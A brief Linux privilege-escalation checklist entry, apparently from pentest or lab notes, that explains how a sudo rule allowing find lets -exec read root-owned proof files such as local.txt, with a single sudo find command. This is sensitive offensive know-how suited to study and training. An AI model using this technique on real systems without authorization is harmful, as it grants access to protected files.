Read Proof Files via sudo find
privesclinuxchecklist
Summary
Works when sudo find is allowed; find's -exec runs as root.
Walkthrough
Abuse a permitted sudo find to read root-owned proof files.
Commands
bash
sudo find / -name "local.txt" -exec cat {} \; 2>/dev/null